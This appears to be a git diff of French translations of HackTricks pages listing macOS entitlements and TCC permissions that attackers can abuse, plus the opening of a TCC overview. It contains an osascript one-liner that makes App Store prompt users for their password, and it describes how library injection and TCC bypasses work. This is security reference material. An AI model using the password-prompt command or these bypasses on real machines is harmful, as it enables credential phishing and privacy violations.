|
@ -1,16 +1,16 @@
|
||||||
# Autorisations macOS Dangereuses & Permissions TCC
|
# macOS Entitlements Dangereux & Autorisations TCC
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,7 +18,7 @@ Autres moyens de soutenir HackTricks :
|
||||||
Notez que les autorisations commençant par **`com.apple`** ne sont pas disponibles pour les tiers, seul Apple peut les accorder.
|
Notez que les autorisations commençant par **`com.apple`** ne sont pas disponibles pour les tiers, seul Apple peut les accorder.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
## Haut
|
## Élevé
|
||||||
|
|
||||||
### `com.apple.rootless.install.heritable`
|
### `com.apple.rootless.install.heritable`
|
||||||
|
|
||||||
|
@ -38,28 +38,28 @@ Cette autorisation permet à d'autres processus avec l'autorisation **`com.apple
|
||||||
|
|
||||||
### `com.apple.security.cs.debugger`
|
### `com.apple.security.cs.debugger`
|
||||||
|
|
||||||
Les applications avec l'autorisation de l'outil de débogage peuvent appeler `task_for_pid()` pour récupérer un port de tâche valide pour les applications non signées et tierces avec l'autorisation `Get Task Allow` définie sur `true`. Cependant, même avec l'autorisation de l'outil de débogage, un débogueur **ne peut pas obtenir les ports de tâche** des processus qui **n'ont pas l'autorisation `Get Task Allow`**, et qui sont donc protégés par la Protection de l'Intégrité du Système. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_debugger).
|
Les applications avec l'Autorisation d'Outil de Débogage peuvent appeler `task_for_pid()` pour récupérer un port de tâche valide pour les applications non signées et tierces avec l'autorisation `Get Task Allow` définie sur `true`. Cependant, même avec l'autorisation d'outil de débogage, un débogueur **ne peut pas obtenir les ports de tâche** des processus qui **n'ont pas l'autorisation `Get Task Allow`**, et qui sont donc protégés par la Protection de l'Intégrité du Système. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_debugger).
|
||||||
|
|
||||||
### `com.apple.security.cs.disable-library-validation`
|
### `com.apple.security.cs.disable-library-validation`
|
||||||
|
|
||||||
Cette autorisation permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou avec le même ID d'équipe** que l'exécutable principal, donc un attaquant pourrait abuser d'un chargement de bibliothèque arbitraire pour injecter du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-library-validation).
|
Cette autorisation permet de **charger des frameworks, des plug-ins ou des bibliothèques sans être signés par Apple ou signés avec le même ID d'équipe** que l'exécutable principal, ce qui permettrait à un attaquant d'abuser de certaines charges de bibliothèques arbitraires pour injecter du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-library-validation).
|
||||||
|
|
||||||
### `com.apple.private.security.clear-library-validation`
|
### `com.apple.private.security.clear-library-validation`
|
||||||
|
|
||||||
Cette autorisation est très similaire à **`com.apple.security.cs.disable-library-validation`** mais **au lieu de** **désactiver directement** la validation de la bibliothèque, elle permet au processus d'**appeler un appel système `csops` pour la désactiver**.\
|
Cette autorisation est très similaire à **`com.apple.security.cs.disable-library-validation`** mais **au lieu de désactiver directement** la validation de bibliothèque, elle permet au processus d'**appeler un appel système `csops` pour la désactiver**.\
|
||||||
Consultez [**ceci pour plus d'informations**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
Consultez [**ceci pour plus d'informations**](https://theevilbit.github.io/posts/com.apple.private.security.clear-library-validation/).
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-dyld-environment-variables`
|
### `com.apple.security.cs.allow-dyld-environment-variables`
|
||||||
|
|
||||||
Cette autorisation permet d'**utiliser les variables d'environnement DYLD** qui pourraient être utilisées pour injecter des bibliothèques et du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-dyld-environment-variables).
|
Cette autorisation permet d'**utiliser des variables d'environnement DYLD** qui pourraient être utilisées pour injecter des bibliothèques et du code. Consultez [**ceci pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-dyld-environment-variables).
|
||||||
|
|
||||||
### `com.apple.private.tcc.manager` ou `com.apple.rootless.storage`.`TCC`
|
### `com.apple.private.tcc.manager` ou `com.apple.rootless.storage`.`TCC`
|
||||||
|
|
||||||
[**Selon ce blog**](https://objective-see.org/blog/blog_0x4C.html) **et** [**ce blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ces autorisations permettent de **modifier** la base de données **TCC**.
|
[**Selon ce blog**](https://objective-see.org/blog/blog\_0x4C.html) **et** [**ce blog**](https://wojciechregula.blog/post/play-the-music-and-bypass-tcc-aka-cve-2020-29621/), ces autorisations permettent de **modifier** la **base de données TCC**.
|
||||||
|
|
||||||
### **`system.install.apple-software`** et **`system.install.apple-software.standar-user`**
|
### **`system.install.apple-software`** et **`system.install.apple-software.standar-user`**
|
||||||
|
|
||||||
Ces autorisations permettent d'**installer des logiciels sans demander de permissions** à l'utilisateur, ce qui peut être utile pour une **escalade de privilèges**.
|
Ces autorisations permettent d'**installer des logiciels sans demander la permission** de l'utilisateur, ce qui peut être utile pour une **escalade de privilèges**.
|
||||||
|
|
||||||
### `com.apple.private.security.kext-management`
|
### `com.apple.private.security.kext-management`
|
||||||
|
|
||||||
|
@ -67,11 +67,11 @@ Autorisation nécessaire pour demander au **noyau de charger une extension de no
|
||||||
|
|
||||||
### **`com.apple.private.icloud-account-access`**
|
### **`com.apple.private.icloud-account-access`**
|
||||||
|
|
||||||
Avec l'autorisation **`com.apple.private.icloud-account-access`**, il est possible de communiquer avec le service XPC **`com.apple.iCloudHelper`** qui fournira **des jetons iCloud**.
|
Avec l'autorisation **`com.apple.private.icloud-account-access`**, il est possible de communiquer avec le service XPC **`com.apple.iCloudHelper`** qui **fournira des jetons iCloud**.
|
||||||
|
|
||||||
**iMovie** et **Garageband** avaient cette autorisation.
|
**iMovie** et **Garageband** avaient cette autorisation.
|
||||||
|
|
||||||
Pour plus **d'informations** sur l'exploitation pour **obtenir des jetons iCloud** à partir de cette autorisation, consultez la conférence : [**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
Pour plus d'**informations** sur l'exploit pour **obtenir des jetons iCloud** à partir de cette autorisation, consultez la présentation : [**#OBTS v5.0 : "Ce qui se passe sur votre Mac, reste sur iCloud d'Apple ?!" - Wojciech Regula**](https://www.youtube.com/watch?v=\_6e2LhmxVc0)
|
||||||
|
|
||||||
### `com.apple.private.tcc.manager.check-by-audit-token`
|
### `com.apple.private.tcc.manager.check-by-audit-token`
|
||||||
|
|
||||||
|
@ -79,15 +79,15 @@ TODO: Je ne sais pas ce que cela permet de faire
|
||||||
|
|
||||||
### `com.apple.private.apfs.revert-to-snapshot`
|
### `com.apple.private.apfs.revert-to-snapshot`
|
||||||
|
|
||||||
TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment faire, envoyez une PR s'il vous plaît !
|
TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour les contenus protégés par SSV après un redémarrage. Si vous savez comment, envoyez une PR s'il vous plaît !
|
||||||
|
|
||||||
### `com.apple.private.apfs.create-sealed-snapshot`
|
### `com.apple.private.apfs.create-sealed-snapshot`
|
||||||
|
|
||||||
TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour le contenu protégé par SSV après un redémarrage. Si vous savez comment faire, envoyez une PR s'il vous plaît !
|
TODO: Dans [**ce rapport**](https://jhftss.github.io/The-Nightmare-of-Apple-OTA-Update/) **il est mentionné que cela pourrait être utilisé pour** mettre à jour les contenus protégés par SSV après un redémarrage. Si vous savez comment, envoyez une PR s'il vous plaît !
|
||||||
|
|
||||||
### `keychain-access-groups`
|
### `keychain-access-groups`
|
||||||
|
|
||||||
Cette autorisation liste les groupes de **trousseau** auxquels l'application a accès :
|
Cette liste d'autorisations répertorie les groupes de **trousseaux** auxquels l'application a accès :
|
||||||
```xml
|
```xml
|
||||||
<key>keychain-access-groups</key>
|
<key>keychain-access-groups</key>
|
||||||
<array>
|
<array>
|
||||||
|
@ -100,13 +100,13 @@ Cette autorisation liste les groupes de **trousseau** auxquels l'application a a
|
||||||
```
|
```
|
||||||
### **`kTCCServiceSystemPolicyAllFiles`**
|
### **`kTCCServiceSystemPolicyAllFiles`**
|
||||||
|
|
||||||
Donne les permissions d'**Accès complet au disque**, l'une des plus hautes permissions TCC que vous pouvez avoir.
|
Accorde les autorisations d'**Accès complet au disque**, l'une des autorisations les plus élevées de TCC que vous puissiez avoir.
|
||||||
|
|
||||||
### **`kTCCServiceAppleEvents`**
|
### **`kTCCServiceAppleEvents`**
|
||||||
|
|
||||||
Permet à l'application d'envoyer des événements à d'autres applications qui sont couramment utilisées pour **l'automatisation des tâches**. En contrôlant d'autres applications, elle peut abuser des permissions accordées à ces autres applications.
|
Permet à l'application d'envoyer des événements à d'autres applications couramment utilisées pour **automatiser des tâches**. En contrôlant d'autres applications, elle peut abuser des autorisations accordées à ces autres applications.
|
||||||
|
|
||||||
Comme les faire demander le mot de passe de l'utilisateur :
|
Comme les amener à demander à l'utilisateur son mot de passe:
|
||||||
|
|
||||||
{% code overflow="wrap" %}
|
{% code overflow="wrap" %}
|
||||||
```bash
|
```bash
|
||||||
|
@ -114,57 +114,57 @@ osascript -e 'tell app "App Store" to activate' -e 'tell app "App Store" to acti
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Ou en les faisant exécuter des **actions arbitraires**.
|
Ou les faire effectuer des **actions arbitraires**.
|
||||||
|
|
||||||
### **`kTCCServiceEndpointSecurityClient`**
|
### **`kTCCServiceEndpointSecurityClient`**
|
||||||
|
|
||||||
Permet, entre autres permissions, d'**écrire dans la base de données TCC de l'utilisateur**.
|
Permet, entre autres autorisations, d'**écrire dans la base de données TCC des utilisateurs**.
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
### **`kTCCServiceSystemPolicySysAdminFiles`**
|
||||||
|
|
||||||
Permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui change le chemin de son dossier personnel et permet donc de **contourner TCC**.
|
Permet de **modifier** l'attribut **`NFSHomeDirectory`** d'un utilisateur, ce qui modifie le chemin de son dossier personnel et permet donc de **contourner TCC**.
|
||||||
|
|
||||||
### **`kTCCServiceSystemPolicyAppBundles`**
|
### **`kTCCServiceSystemPolicyAppBundles`**
|
||||||
|
|
||||||
Permet de modifier des fichiers à l'intérieur du paquet d'applications (dans app.app), ce qui est **interdit par défaut**.
|
Permet de modifier des fichiers à l'intérieur des bundles d'applications (à l'intérieur de app.app), ce qui est **interdit par défaut**.
|
||||||
|
|
||||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
Il est possible de vérifier qui a cet accès dans _Préférences Système_ > _Confidentialité & Sécurité_ > _Gestion des applications._
|
Il est possible de vérifier qui a cet accès dans _Préférences Système_ > _Confidentialité et sécurité_ > _Gestion des apps_.
|
||||||
|
|
||||||
### `kTCCServiceAccessibility`
|
### `kTCCServiceAccessibility`
|
||||||
|
|
||||||
Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie qu'il pourra par exemple simuler des frappes au clavier. Il pourrait donc demander l'accès pour contrôler une application comme Finder et approuver la boîte de dialogue avec cette permission.
|
Le processus pourra **abuser des fonctionnalités d'accessibilité de macOS**, ce qui signifie qu'il pourra par exemple appuyer sur des touches. Ainsi, il pourrait demander l'accès pour contrôler une app comme Finder et approuver la boîte de dialogue avec cette autorisation.
|
||||||
|
|
||||||
## Moyen
|
## Moyen
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-jit`
|
### `com.apple.security.cs.allow-jit`
|
||||||
|
|
||||||
Cette autorisation permet de **créer de la mémoire qui est à la fois inscriptible et exécutable** en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Vérifiez [**ici pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-jit).
|
Cette autorisation permet de **créer de la mémoire qui est inscriptible et exécutable** en passant le drapeau `MAP_JIT` à la fonction système `mmap()`. Consultez [**ce lien pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-jit).
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
### `com.apple.security.cs.allow-unsigned-executable-memory`
|
||||||
|
|
||||||
Cette autorisation permet de **remplacer ou patcher du code C**, utiliser l'ancienne et dépréciée **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisée), ou utiliser le framework **DVDPlayback**. Vérifiez [**ici pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
|
Cette autorisation permet de **outrepasser ou patcher du code C**, d'utiliser la fonction longtemps obsolète **`NSCreateObjectFileImageFromMemory`** (qui est fondamentalement non sécurisée), ou d'utiliser le framework **DVDPlayback**. Consultez [**ce lien pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_allow-unsigned-executable-memory).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
Inclure cette autorisation expose votre application aux vulnérabilités communes dans les langages de code non sécurisés en mémoire. Considérez soigneusement si votre application a besoin de cette exception.
|
Inclure cette autorisation expose votre app à des vulnérabilités courantes dans les langages de code non sécurisés en mémoire. Considérez attentivement si votre app a besoin de cette exception.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### `com.apple.security.cs.disable-executable-page-protection`
|
### `com.apple.security.cs.disable-executable-page-protection`
|
||||||
|
|
||||||
Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur disque pour forcer la sortie. Vérifiez [**ici pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
|
Cette autorisation permet de **modifier des sections de ses propres fichiers exécutables** sur le disque pour forcer la sortie. Consultez [**ce lien pour plus d'informations**](https://developer.apple.com/documentation/bundleresources/entitlements/com\_apple\_security\_cs\_disable-executable-page-protection).
|
||||||
|
|
||||||
{% hint style="danger" %}
|
{% hint style="danger" %}
|
||||||
L'autorisation de désactivation de la protection des pages exécutables est une autorisation extrême qui supprime une protection de sécurité fondamentale de votre application, permettant à un attaquant de réécrire le code exécutable de votre application sans détection. Préférez des autorisations plus spécifiques si possible.
|
L'autorisation de désactivation de la protection des pages exécutables est une autorisation extrême qui supprime une protection de sécurité fondamentale de votre app, permettant à un attaquant de réécrire le code exécutable de votre app sans détection. Privilégiez des autorisations plus restreintes si possible.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### `com.apple.security.cs.allow-relative-library-loads`
|
### `com.apple.security.cs.allow-relative-library-loads`
|
||||||
|
|
||||||
TODO
|
À FAIRE
|
||||||
|
|
||||||
### `com.apple.private.nullfs_allow`
|
### `com.apple.private.nullfs_allow`
|
||||||
|
|
||||||
Cette autorisation permet de monter un système de fichiers nullfs (interdit par défaut). Outil : [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
|
Cette autorisation permet de monter un système de fichiers nullfs (interdit par défaut). Outil : [**mount\_nullfs**](https://github.com/JamaicanMoose/mount\_nullfs/tree/master).
|
||||||
|
|
||||||
### `kTCCServiceAll`
|
### `kTCCServiceAll`
|
||||||
|
|
||||||
|
@ -175,20 +175,20 @@ Selon ce billet de blog, cette permission TCC se trouve généralement sous la f
|
||||||
[Array]
|
[Array]
|
||||||
[String] kTCCServiceAll
|
[String] kTCCServiceAll
|
||||||
```
|
```
|
||||||
Permettre au processus de **demander toutes les permissions TCC**.
|
Permettre au processus de **demander toutes les autorisations TCC**.
|
||||||
|
|
||||||
### **`kTCCServicePostEvent`**
|
### **`kTCCServicePostEvent`**
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres moyens de soutenir HackTricks :
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
|
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -2,15 +2,15 @@
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||||
|
|
||||||
Autres façons de soutenir HackTricks:
|
Autres façons de soutenir HackTricks :
|
||||||
|
|
||||||
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
|
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
|
||||||
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
|
@ -18,7 +18,7 @@ Autres façons de soutenir HackTricks:
|
||||||
|
|
||||||
**TCC (Transparency, Consent, and Control)** est un protocole de sécurité axé sur la régulation des autorisations d'application. Son rôle principal est de protéger des fonctionnalités sensibles telles que les **services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité et l'accès complet au disque**. En exigeant le consentement explicite de l'utilisateur avant d'accorder à une application l'accès à ces éléments, le TCC renforce la confidentialité et le contrôle de l'utilisateur sur leurs données.
|
**TCC (Transparency, Consent, and Control)** est un protocole de sécurité axé sur la régulation des autorisations d'application. Son rôle principal est de protéger des fonctionnalités sensibles telles que les **services de localisation, les contacts, les photos, le microphone, la caméra, l'accessibilité et l'accès complet au disque**. En exigeant le consentement explicite de l'utilisateur avant d'accorder à une application l'accès à ces éléments, le TCC renforce la confidentialité et le contrôle de l'utilisateur sur leurs données.
|
||||||
|
|
||||||
Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite permettant aux utilisateurs d'**approuver ou de refuser l'accès**. De plus, le TCC prend en charge les actions directes des utilisateurs, telles que le **glisser-déposer de fichiers dans une application**, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé.
|
Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès à des fonctionnalités protégées. Cela se manifeste par une invite qui permet aux utilisateurs d'**approuver ou de refuser l'accès**. De plus, le TCC prend en charge des actions directes de l'utilisateur, telles que **glisser-déposer des fichiers dans une application**, pour accorder l'accès à des fichiers spécifiques, garantissant que les applications n'ont accès qu'à ce qui est explicitement autorisé.
|
||||||
|
|
||||||
![Un exemple d'une invite TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
![Un exemple d'une invite TCC](https://rainforest.engineering/images/posts/macos-tcc/tcc-prompt.png?1620047855)
|
||||||
|
|
||||||
|
@ -26,7 +26,7 @@ Les utilisateurs rencontrent le TCC lorsque les applications demandent l'accès
|
||||||
|
|
||||||
Il y a un **tccd en mode utilisateur** s'exécutant par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`.
|
Il y a un **tccd en mode utilisateur** s'exécutant par utilisateur connecté défini dans `/System/Library/LaunchAgents/com.apple.tccd.plist` enregistrant les services mach `com.apple.tccd` et `com.apple.usernotifications.delegate.com.apple.tccd`.
|
||||||
|
|
||||||
Ici, vous pouvez voir le tccd s'exécutant en tant que système et en tant qu'utilisateur:
|
Ici, vous pouvez voir le tccd s'exécutant en tant que système et en tant qu'utilisateur :
|
||||||
```bash
|
```bash
|
||||||
ps -ef | grep tcc
|
ps -ef | grep tcc
|
||||||
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
0 374 1 0 Thu07PM ?? 2:01.66 /System/Library/PrivateFrameworks/TCC.framework/Support/tccd system
|
||||||
|
@ -38,10 +38,10 @@ Les autorisations sont **héritées de l'application parente** et les **autorisa
|
||||||
|
|
||||||
Les autorisations/refus sont ensuite stockés dans certaines bases de données TCC :
|
Les autorisations/refus sont ensuite stockés dans certaines bases de données TCC :
|
||||||
|
|
||||||
* La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
- La base de données système dans **`/Library/Application Support/com.apple.TCC/TCC.db`**.
|
||||||
* Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut écrire dedans.
|
- Cette base de données est **protégée par SIP**, donc seul un contournement de SIP peut écrire dedans.
|
||||||
* La base de données utilisateur TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur.
|
- La base de données utilisateur TCC **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`** pour les préférences par utilisateur.
|
||||||
* Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP).
|
- Cette base de données est protégée, donc seuls les processus avec des privilèges TCC élevés comme l'Accès complet au disque peuvent écrire dedans (mais elle n'est pas protégée par SIP).
|
||||||
|
|
||||||
{% hint style="warning" %}
|
{% hint style="warning" %}
|
||||||
Les bases de données précédentes sont également **protégées par TCC pour l'accès en lecture**. Vous ne pourrez donc pas lire votre base de données TCC utilisateur régulière à moins que ce ne soit à partir d'un processus TCC privilégié.
|
Les bases de données précédentes sont également **protégées par TCC pour l'accès en lecture**. Vous ne pourrez donc pas lire votre base de données TCC utilisateur régulière à moins que ce ne soit à partir d'un processus TCC privilégié.
|
||||||
|
@ -49,17 +49,17 @@ Les bases de données précédentes sont également **protégées par TCC pour l
|
||||||
Cependant, rappelez-vous qu'un processus avec ces privilèges élevés (comme **FDA** ou **`kTCCServiceEndpointSecurityClient`**) pourra écrire dans la base de données TCC utilisateur.
|
Cependant, rappelez-vous qu'un processus avec ces privilèges élevés (comme **FDA** ou **`kTCCServiceEndpointSecurityClient`**) pourra écrire dans la base de données TCC utilisateur.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
* Il existe une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.
|
- Il y a une **troisième** base de données TCC dans **`/var/db/locationd/clients.plist`** pour indiquer les clients autorisés à **accéder aux services de localisation**.
|
||||||
* Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les **bases de données TCC valides**.
|
- Le fichier protégé par SIP **`/Users/carlospolop/Downloads/REG.db`** (également protégé contre l'accès en lecture avec TCC), contient l'emplacement de toutes les bases de données TCC valides.
|
||||||
* Le fichier protégé par SIP **`/Users/carlospolop/Downloads/MDMOverrides.plist`** (également protégé contre l'accès en lecture avec TCC), contient plus d'autorisations TCC accordées.
|
